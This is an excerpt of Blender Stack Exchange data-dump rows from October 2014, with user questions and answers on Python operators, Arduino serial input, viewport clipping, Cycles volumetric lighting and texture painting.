  <row Id="16576" PostTypeId="1" AcceptedAnswerId="16616" CreationDate="2014-10-08T20:49:16.603" Score="1" ViewCount="265" Body="&lt;p&gt;Was just about to start learning Python in Blender, turned on the console and found the following message being constantly printed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p_cache.gamepath_valid = os.path.exists(os.path.join(getGamePath(),&quot;gameinf o&#xA;.txt&quot;))&#xA;File &quot;E:\Program Files\Blender Foundation\Blender\2.71\python\lib\ntpath.py&quot;,&#xA;line 108, in join&#xA;result_drive, result_path = splitdrive(path)&#xA;File &quot;E:\Program Files\Blender Foundation\Blender\2.71\python\lib\ntpath.py&quot;,&#xA;line 159, in splitdrive&#xA;if len(p) &amp;gt; 1:&#xA;TypeError: object of type 'NoneType' has no len()&#xA;Traceback (most recent call last):&#xA;File &quot;C:\Users\Reverend Speed\AppData\Roaming\Blender Foundation\Blender\2.71\&#xA;scripts\addons\io_scene_valvesource\__init__.py&quot;, line 105, in scene_load_post&#xA;game_path_changed(s,bpy.context)&#xA;File &quot;C:\Users\Reverend Speed\AppData\Roaming\Blender Foundation\Blender\2.71\&#xA;scripts\addons\io_scene_valvesource\__init__.py&quot;, line 139, in game_path_changed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clues? Had a problem with my E drive a while back, and while waiting for a solution I installed Blender (one of the 2.72 release candidates) to my C drive. When the final version of 2.72 came out, I installed that to C also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking to fix this asap - was really anticipating getting stuck into Python and Blender tonight, but I won't be able to see any prints to console with this spamming constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the best,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&lt;/p&gt;&#xA;" OwnerUserId="1203" LastActivityDate="2014-10-09T15:31:44.767" Title="Constant repeating errors in console" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;&lt;windows&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16577" PostTypeId="1" CreationDate="2014-10-08T20:56:40.577" Score="1" ViewCount="1066" Body="&lt;p&gt;I would like to have cloth animation made in Blender and use it in Unity. I thought I will use the cloth modifier, then save the .blender file, import in unity and that's it. Nope. Only the actual frame gets loaded. So I thought I will try different aproach, but my skills in blender are not sufficient and I found no good information on the net so far - so I decided to ask experts :P.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say, I have a plane and I want a flag animation with that. I break it down into like 20x20 pieces, and I make it to have like 20x20 bones as well pointing from pole towards to the end of the flag. I want to have blender to animate the bones like the cloth animator would do. How can I do this with this existing armature?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2020-10-06T16:00:21.760" Title="How to make cloth animation with bones?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16578" PostTypeId="1" CreationDate="2014-10-08T21:14:47.730" Score="2" ViewCount="166" Body="&lt;p&gt;I am trying to make a video for a waterflow surface around a fixed box. From my CFD (Computational Fluid Dynamics) software I export the water surface as a sequence of .stl files, one per frame, so thousands of .stl files total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, I want to render a video of that flow; So, how should I do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I can see is import a stl file, render the frame, save it, and do the same for the next stl file, and this for every stl files; but I have thousands of stl files...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I understand that there is no easy way to do this, but I have read that one way to do it is to use a python script to either toggle the surface visibility after I imported them all, or either process one surface face after another.&#xA;I have never used any script of this type before and I am new to blender, is there a similar script I could download and tweak to my case ? Or some kind of tutorial for that specific case ? I assume I am not the first one willing to do this type of video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6403" LastEditorUserId="6403" LastEditDate="2014-10-09T15:33:17.940" LastActivityDate="2014-10-09T15:33:17.940" Title="How to create an animation of a waterflow, from a sequence of .stl files" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;video&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-10-09T04:54:00.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="16579" PostTypeId="1" AcceptedAnswerId="16598" CreationDate="2014-10-08T21:51:43.487" Score="5" ViewCount="1567" Body="&lt;p&gt;What is the difference between&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return {'CANCELLED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in an operator? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, lets assume I have a simple non modal operator which places a cube in the scene and returns {'CANCELLED'} afterwards. Are there any consequences or further impact?&#xA;My guess was that the cube would be removed from the scene (like an undo) because of potential errorneous behavior. But it stays there just like everythings works fine&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-10-09T12:15:46.543" Title="Difference between FINISHED and CANCELLED as return values" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16580" PostTypeId="2" ParentId="14765" CreationDate="2014-10-08T21:53:59.497" Score="9" Body="&lt;p&gt;The solution is to start blender with &lt;code&gt;--python-console&lt;/code&gt;, see the &lt;a href=&quot;https://www.blender.org/manual/advanced/command_line.html#python-options&quot; rel=&quot;noreferrer&quot;&gt;user manual&lt;/a&gt; for Python command line args.&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="55" LastEditDate="2015-12-13T14:58:15.040" LastActivityDate="2015-12-13T14:58:15.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16581" PostTypeId="1" CreationDate="2014-10-09T00:01:24.167" Score="3" ViewCount="1135" Body="&lt;p&gt;&lt;strong&gt;*Note-&lt;/strong&gt; I'm a noob at Blender.  I apologize in advance for my noobishness, and please explain things thoroughly for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a model I have imported from MakeHuman (the official release, not nightly), and rendered in Cycles.  I have followed a tutorial online to procure a solution to the &quot;all-black-eye&quot; problem, and this is my result. I haven't created anything else for the eyes to reflect. &#xA;   &lt;img src=&quot;https://i.stack.imgur.com/pEKZj.jpg&quot; alt=&quot;crazy eyes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are my nodes.  The image texture window on the top is my Alpha, the middle is the image texture, and the bottom is my texture_ref.  The texture_ref file I made on my own (and probably incorrectly) by copying the original image, using Gimp to change it to grayscale, and then exporting it as a jpg. This doesn't seem to be the problem, as I've disconnected it entirely and the eyes were still all rainbow, but I thought I should include that anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBwjK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what is going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit-&lt;/strong&gt; Below I've uploaded my textures.  The first is my texture.ref, the second my Alpha, and the third is my texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/roDb8.jpg&quot; alt=&quot;Alpha&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/l5aNz.jpg&quot; alt=&quot;texture.ref&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AK0BC.png&quot; alt=&quot;image texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6237" LastEditorUserId="6237" LastEditDate="2014-10-11T22:40:15.797" LastActivityDate="2014-10-11T22:40:15.797" Title="Cycles- eyes are rendered multicolored, bright pink and blue" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="0" CommentCount="13" ClosedDate="2014-10-14T21:48:05.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="16582" PostTypeId="1" AcceptedAnswerId="16584" CreationDate="2014-10-09T00:45:54.843" Score="9" ViewCount="24900" Body="&lt;p&gt;Ok so In blender, I'm making a city, but in the 3d view, it disappears when going to a certain distance:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DVlE6.png&quot; alt=&quot;Falls off after a certain point&quot;&gt;&#xA;I'm not using a camera or anything, this is user perspective&#xA;Help?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-10-09T00:58:17.240" Title="short view distance in 3d view?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ClosedDate="2014-10-09T04:53:53.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="16583" PostTypeId="2" ParentId="16582" CreationDate="2014-10-09T00:58:09.093" Score="11" Body="&lt;p&gt;Try increasing the &lt;em&gt;clipping end&lt;/em&gt; distance in &lt;em&gt;3D view &gt; properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; View &gt; Clip&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CoLGK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-09T00:58:09.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16584" PostTypeId="2" ParentId="16582" CreationDate="2014-10-09T00:58:17.240" Score="9" Body="&lt;p&gt;The farthest distance the viewport can see is called the &lt;em&gt;far clipping pane&lt;/em&gt;, there is also a &lt;em&gt;near clipping pane&lt;/em&gt; that clips anything closer than a specified distance.  On the strip on the right of the 3d view (if it is not there you can hit the + at the top right corner of the view) you can adjust the &lt;em&gt;far clipping pane&lt;/em&gt; spinner.  The clipping panes of the camera (if you will be needing to do some zoomed out renders) are under the &lt;em&gt;camera&lt;/em&gt; panel in the &lt;em&gt;properties&lt;/em&gt; view when the camera is selected.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-10-09T00:58:17.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16586" PostTypeId="1" CreationDate="2014-10-09T03:50:05.567" Score="2" ViewCount="83" Body="&lt;p&gt;I see there has been a similar question asked about this but it was for removing single tabs you didn't want. I want to turn all the tabs off in the node editor tool shelf back to the way it was set up in 2.71. Is there some where in preferences to do this with 1 click? or some way to copy the code from 2.71 to 2.72?&lt;/p&gt;&#xA;" OwnerUserId="6406" LastActivityDate="2014-10-09T03:50:05.567" Title="Is there a way to turn off all the tabs on the tool shelf in the node editor in verion 2.72?" Tags="&lt;interface&gt;&lt;node-editor&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16587" PostTypeId="1" AcceptedAnswerId="16603" CreationDate="2014-10-09T04:14:18.680" Score="3" ViewCount="309" Body="&lt;p&gt;I have a spaceship and it has a particle system for firing lasers. I am wondering if there is a way to play a sound when it emits a particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried grouping the particle with the speaker and emitting the whole group but that doesn't work. I don't know if it should or if I am doing something wrong.&lt;/p&gt;&#xA;" OwnerUserId="6189" LastEditorUserId="2217" LastEditDate="2014-10-09T13:27:55.203" LastActivityDate="2014-10-09T13:27:55.203" Title="Play a sound triggered from emitting a particle" Tags="&lt;particles&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16588" PostTypeId="1" AcceptedAnswerId="16590" CreationDate="2014-10-09T05:40:57.667" Score="3" ViewCount="822" Body="&lt;p&gt;I was trying to receive some integer data from arduino and rotate the cube based on the value, but when the script was run, it gives the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JhoHJ.jpg&quot; alt=&quot;blender error shown in console window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The python code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;import serial&#xA;from time import sleep&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;&#xA;value = 0&#xA;i=0&#xA;j=0&#xA;degree = 0&#xA;ser = serial.Serial(&quot;COM77&quot;, 9600)&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;    x = IntProperty()&#xA;&#xA;    def modal(self, context, event):&#xA;       self.x = ser.read()&#xA;       if x &amp;gt;0:&#xA;         value = int(self.x)&#xA;         value += 10&#xA;         degree = value * 3.14/180&#xA;         bpy.context.object.rotation_euler[0] = degree&#xA;         print(degree)&#xA;&#xA;       if event.type  == 'LEFTMOUSE':&#xA;           return {'FINISHED'}&#xA;&#xA;       return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.object:&#xA;&#xA;            print(&quot;hi&quot;)&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;No active object, could not finish&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.modal_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The arduino code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void setup()&#xA; {&#xA;    Serial.begin(9600);&#xA;&#xA;&#xA; }&#xA;&#xA; void loop()&#xA; {&#xA;    for(int i=0; i&amp;lt;350;i++)&#xA;    {&#xA;        Serial.print(i);&#xA;        delay(100);&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6407" LastEditorUserId="599" LastEditDate="2014-10-09T06:58:22.393" LastActivityDate="2014-10-09T08:53:57.810" Title="Serial data from arduino not received properly" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16589" PostTypeId="2" ParentId="16587" CreationDate="2014-10-09T08:34:38.077" Score="1" Body="&lt;p&gt;This seems like something you'd want to do in the game engine. You could probably place a speaker near (right in front of/next to) your &quot;guns&quot; that is triggered when a particle comes within a certain range.&lt;/p&gt;&#xA;" OwnerUserId="6346" LastActivityDate="2014-10-09T08:34:38.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16590" PostTypeId="2" ParentId="16588" CreationDate="2014-10-09T08:46:36.277" Score="2" Body="&lt;p&gt;There are two problems with your code on in the sending and one in the receiving part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get from &lt;code&gt;serial.read()&lt;/code&gt; a bytes object, but your &lt;code&gt;self.x&lt;/code&gt; should be an integer, so you have to use &lt;code&gt;int()&lt;/code&gt; before the assignment (see at the bottom for the code).&lt;br&gt;&#xA;The next thing is, that you receive exactly &lt;em&gt;one&lt;/em&gt; byte, but your string with the number can have more bytes, to overcome that you could use &lt;code&gt;serial.readline()&lt;/code&gt; to read a whole line and modify the sending code as follows.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You send the integer from the arduino as sting, but you can't know how long it is on the receiving end. So you should terminate the string with a newline: &lt;code&gt;Serial.println(i)&lt;/code&gt; will automatically append an &lt;code&gt;\r\n&lt;/code&gt; for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole code would have to be modified like so:&lt;br&gt;&#xA;receiving:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ...&#xA;def modal(self, context, event):&#xA;    self.x = int(ser.readline(10))  # read a maximum of ten digits (only because &#xA;                                    # there could be an error in the sending code)&#xA;    # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sending:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ...&#xA;void loop()&#xA;{&#xA;    for(int i=0; i&amp;lt;350;i++)&#xA;    {&#xA;        Serial.println(i);&#xA;        delay(100);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="633" LastEditorUserId="633" LastEditDate="2014-10-09T08:53:57.810" LastActivityDate="2014-10-09T08:53:57.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16594" PostTypeId="1" AcceptedAnswerId="17706" CreationDate="2014-10-09T09:55:56.780" Score="7" ViewCount="10369" Body="&lt;p&gt;I tried to reproduce the results from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Volumetric_Lights&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs on volumetric lighting&lt;/a&gt; unfortunately the video link is broken. And I might have overlooked some related settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spot light is barley visible on the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fdazv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing the &lt;em&gt;Density&lt;/em&gt; of the &lt;em&gt;Volume Scatter Node&lt;/em&gt; darkens the sky texture but leads to some light cone from the car's headlight. (only 10 samples in preview).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gvsSo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which settings do I need to change or should I try a different approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Integrator settings are default and spotlight settings were copied from the example found in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2549/creating-volumetric-lighting-crepuscular-rays-in-cycles&quot;&gt;Creating volumetric lighting (crepuscular rays) in Cycles&lt;/a&gt; (pre 2.7)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6298/how-do-i-properly-set-up-a-spotlight-cone&quot;&gt;How do I properly set up a spotlight cone?&lt;/a&gt; (BI only)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2018-08-30T02:40:37.437" Title="How can a light cone (volumetric) be setup with cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16595" PostTypeId="1" AcceptedAnswerId="16629" CreationDate="2014-10-09T10:18:55.237" Score="8" ViewCount="1038" Body="&lt;p&gt;i have the following code to receive serial data from arduino and rotate the cube...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;import serial&#xA;from time import sleep&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;&#xA;value = 0&#xA;i=0&#xA;j=0&#xA;degree = 0&#xA;ser = serial.Serial(&quot;COM77&quot;, 9600)&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;  bl_idname = &quot;object.modal_operator&quot;&#xA;  bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;x = IntProperty()&#xA;&#xA;def modal(self, context, event):&#xA;   if ser.inWaiting()&amp;gt;0 :&#xA;        value = ser.read(2)&#xA;        print(value)&#xA;        self.x = int(value)&#xA;        print(self.x)&#xA;        self.x += 1000&#xA;        degree = self.x * 3.14/180&#xA;        print(degree)&#xA;        bpy.context.object.rotation_euler[0] = degree&#xA;&#xA;   if event.type  == 'LEFTMOUSE':&#xA;       return {'FINISHED'}&#xA;       ser.close()&#xA;&#xA;   return {'RUNNING_MODAL'}&#xA;&#xA;def invoke(self, context, event):&#xA;    if context.object:&#xA;&#xA;        print(&quot;hi&quot;)&#xA;&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;    else:&#xA;        self.report({'WARNING'}, &quot;No active object, could not finish&quot;)&#xA;        return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;   bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;   bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;   register()&#xA;&#xA;# test call&#xA;&#xA;bpy.ops.object.modal_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code under invoke function executes immediately when i run the script..but the statements under modal function executes only if i move the mouse or press any key...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it doesn't consider incoming serial data as an event...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want the serial data to be read as and wen it comes...not only wen the mouse is moved..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to check serial event....  like  'MOUSE_MOVE'  or 'LEFTMOUSE'....&lt;/p&gt;&#xA;" OwnerUserId="6407" LastActivityDate="2014-10-09T22:13:09.400" Title="code under modal operator gets executed only when mouse is moved or a key is pressed" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16596" PostTypeId="1" CreationDate="2014-10-09T11:00:03.037" Score="0" ViewCount="104" Body="&lt;p&gt;I am using BGUI for creating text field inside BGE. I cold enter English. I need to enter some other language. I could enter that language using ibus, but not able inside Blender (when run). Is it possible to enter that language inside Blender? Whether ibus could be used? or is there any other option?&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2014-10-09T11:00:03.037" Title="How to use ibus for user input in BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16597" PostTypeId="2" ParentId="16388" CreationDate="2014-10-09T11:48:55.600" Score="1" Body="&lt;p&gt;The answer lies in the &lt;a href=&quot;http://www.makehuman.org/content/download.html#blendertools&quot; rel=&quot;nofollow&quot;&gt;MakeHuman Blender tools&lt;/a&gt;. There are a few steps you need to get right, though:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load a BVH with the &quot;Load BVH&quot; button in the &quot;Misc&quot; tab. This will cause the BVH to be loaded incorrectly, as it'll be scaled down. Unfortunately you can only change this behaviour &lt;em&gt;after&lt;/em&gt; you loaded the BVH. We'll fix this, and then re-load the BVH correctly.&lt;/li&gt;&#xA;&lt;li&gt;Open the &quot;MakeWalk: Options&quot; panel.&lt;/li&gt;&#xA;&lt;li&gt;Deselect the &quot;Auto Scale&quot; checkbox and/or set the scale to 1.00.&lt;/li&gt;&#xA;&lt;li&gt;Scroll down to the &quot;MakeWalk: Utilities&quot; panel and click &quot;Save defaults&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Remove the armature from the scene, and load your BVH again.&lt;/li&gt;&#xA;&lt;li&gt;Open &quot;MakeWalk: Edit Actions&quot; and enable &quot;Global Edit&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you can go to Pose Mode, move the armature around, and click on the &quot;Shift Animation&quot; button. Contrary to its name, this also applies rotations. It then applies your translation &amp;amp; rotation to the entire animation.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-10-09T11:48:55.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16598" PostTypeId="2" ParentId="16579" CreationDate="2014-10-09T12:07:45.833" Score="6" Body="&lt;p&gt;AFAIK it's so that you can check in a script whether an operator executed properly or not, by inspecting its return value. For Blender itself it doesn't matter, but it starts to become relevant when you use one operator from another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result = bpy.ops.object.delete()&#xA;&#xA;if result == {'FINISHED'}:  # Can also do: `if 'FINISHED' in result:`&#xA;    print (&quot;Successfully deleted object&quot;)&#xA;else:&#xA;    print (&quot;Could not delete object&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastEditorUserId="9" LastEditDate="2014-10-09T12:15:46.543" LastActivityDate="2014-10-09T12:15:46.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16599" PostTypeId="2" ParentId="16576" CreationDate="2014-10-09T12:10:42.147" Score="2" Body="&lt;p&gt;Although it's a drastic measure, you could erase the &lt;code&gt;%APPDATA%\Blender Foundation\Blender&lt;/code&gt; directory. That'll make you loose all your settings (and possibly extra addons you installed), but also should reset any lingering references to the old installation directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you create a backup copy before doing this, though.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-10-09T12:10:42.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16600" PostTypeId="2" ParentId="16563" CreationDate="2014-10-09T12:15:45.553" Score="5" Body="&lt;p&gt;Apart from the info that &lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui&quot;&gt;this question&lt;/a&gt; already gives you, you need to figure out the operators to call from the Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable Python Tooltips (User Preferences -&gt; Interface -&gt; Display), then go to the import action in the File menu. Rather than clicking on it, hover your mouse over the menu item and inspect the tooltip. That'll tell you which operator to use. Do the same for the export, and you should have the information you need to build up your Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get more help from the Python console (in the Scripting layout), by just typing the name of the operator. For example, &lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.import_scene.obj&lt;/code&gt; will give you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Load a Wavefront OBJ File&#xA;bpy.ops.import_scene.obj(filepath=&quot;&quot;, filter_glob=&quot;*.obj;*.mtl&quot;, use_ngons=True,&#xA;use_edges=True, use_smooth_groups=True, use_split_objects=True, use_split_groups=True,&#xA;use_groups_as_vgroups=False, use_image_search=True, split_mode='ON',&#xA;global_clamp_size=0, axis_forward='-Z', axis_up='Y')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This tells you which options there are, and what the defaults are.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-10-09T12:15:45.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16601" PostTypeId="1" AcceptedAnswerId="16631" CreationDate="2014-10-09T12:22:17.653" Score="0" ViewCount="726" Body="&lt;p&gt;I'm pretty new to Blender, been using it only the last two days, mostly doing 3D modeling until now and UV mapping. I've UV mapped the front and side of my model in different UV layers and I have a third one in which I will clone from the first two, front and side. &#xA;It was a pain to figure out most of the stuff, seeing as most of the tutorials are old and even the newest ones don't have the same interface as Blender 2.72.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here lies the problem, I barely found out how to clone from layer to layer, the old option in the project paint is gone, I have no clone from option. What I did is checked the option to clone from paint slot in the F Clone brush and then set up the source (UV layer, Image). The thing is it works fine, it does what it is supposed to do, but whenever I click to texture via brush, it doesnt apply to the faces the brush is on, but to the ones on the back, so I have to colour the back in order to get the front and viceversa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Blender 2.72 x64 on Win8.1u1 x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gave up seeing as it isn't the way it should be done and came here for help.&#xA;Can you please tell me what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!vUsRXBRD!7ytEwPFB1Ow9ojIfIwZDy42xFzQiGbT7QNxG8ZGQvmY&quot; rel=&quot;nofollow&quot;&gt;Heres my blender file (externals packed)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6411" LastEditorUserId="6411" LastEditDate="2014-10-09T12:39:46.177" LastActivityDate="2014-10-09T22:23:18.120" Title="Question about texture painting" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
